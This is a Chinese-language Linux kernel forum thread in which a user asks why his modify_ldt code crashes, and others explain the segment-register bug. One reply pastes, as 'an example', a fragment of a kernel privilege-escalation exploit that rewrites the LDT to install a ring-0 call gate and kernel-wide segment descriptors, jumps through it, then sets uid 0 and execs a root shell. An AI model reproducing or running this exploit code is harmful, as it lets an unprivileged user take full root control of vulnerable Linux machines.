请问大家知道怎样修改进程的LDT吗

xgwang9 2015-10-12 10:59:44
我最近想为运行的进程设置一个新的段,最简单的办法我想应该是修改LDT。我查到linux有一个系统调用modify_ldt,但是我编写以下代码的时候,出现了错误:


struct user_desc ldts[4];
int mx = 0;

int __attribute__ ((constructor)) preload(void)
{
int ret = 0;
int i;
struct user_desc *def_seg = NULL;
def_seg = (struct user_desc *)malloc(sizeof(struct user_desc));

def_seg->entry_number = 0x0;
exec_only_seg->base_addr = 0x0;
exec_only_seg->limit = 0xffffffff;
exec_only_seg->seg_32bit = 0x1;
exec_only_seg->contents = 0x0;
exec_only_seg->read_exec_only = 0x0;
exec_only_seg->limit_in_pages = 0x0;
exec_only_seg->seg_not_present = 0x0;
exec_only_seg->useable = 0x1;

ret = modify_ldt(1, (void *)exec_only_seg, sizeof(struct user_desc));
printf("after write ldt. ret: %d (return 0 success, -1 fail)\n", ret);
printf("==========================\n");

ret = modify_ldt(0, (void *)ldts, sizeof(struct user_desc));
printf("read ldt again. num: %d (0x%x)\n", ret, ret);

for (i = 0; i < ret/sizeof(struct user_desc); i++) {
printf("ldt[%d] base: 0x%x. entry num: 0x%x\n", i, ldts[i].base_addr, ldts[i].entry_number);
}

asm("pushl %eax");
asm("movl $0x7, %eax");
asm("movl %eax, %ds");
asm("popl %eax");

mx = 0x1234;

free(exec_only_seg);

return 0;
}


错误信息如下:

after write ldt. ret: 0 (return 0 success, -1 fail)
==========================
read ldt again. num: 16 (0x10)
ldt[0] base: 0x4ff200. entry num: 0xffff
Segmentation fault (core dumped)
make: *** [test] Error 139


请问有大神知道是什么情况吗?谢谢啦!
...全文
370 4 打赏 收藏 举报
写回复
4 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
joshua0137 2016-02-01
一个例子:



// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
unlink(libname);

r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
if(r) fatal("mprotect 1", 1);

// check if really LDT
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
signal(SIGSEGV, sigfailed);
r = *v;
if(r != MAGIC) {
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
fatal("find LDT", 1);
}

// yeah, setup CPL0 gate
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
v[1] = 0x00cf9b00;

v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
v[1] = 0x00cf9300;

// reprotect to get only one big VMA
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
if(r) fatal("mprotect 2", 1);

// CPL0 transition
sys_sched_yield();
val = callme_1() + callme_2();
asm("lcall $" xstr(SEL_GATE) ",$0x0");
//if( getuid()==0 || (val==31337 && strlen(hellc0de)==31337) ) {
if (getuid()==0) {
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
} else {
printf("\n[-] uid change failed" ); fflush(stdout);
sigfailed(0);
}
signal(SIGTERM, SIG_IGN);
kill(0, SIGTERM);
setresuid(0, 0, 0);
execl(shellname, "sh", NULL);
fatal("execl", 0);
}
  • 打赏
  • 举报
回复
xgwang9 2015-10-13
或者有人知道Linux上如何操作段的吗?可以在用户态设置一个段,然后把数据放在这个段中 并使用这个段吗?
  • 打赏
  • 举报
回复
nswcfd 2015-10-13
PS, read_ldt返回的结构不是user_desc,而是desc_struct
  • 打赏
  • 举报
回复
nswcfd 2015-10-13
那句话出问题了?是汇编指令,还是赋值,还是Free?

用asm把ds修改了,但是free函数不知道ds有变化了,free内部的数据结构还在原来的segment里,
这时却去访问新增加的段,应该有问题的吧?
  • 打赏
  • 举报
回复
相关推荐
发帖
Linux_Kernel

4314

社区成员

Linux/Unix社区 内核源代码研究区
社区管理员
  • 内核源代码研究区社区
加入社区
帖子事件
创建了帖子
2015-10-12 10:59
社区公告
暂无公告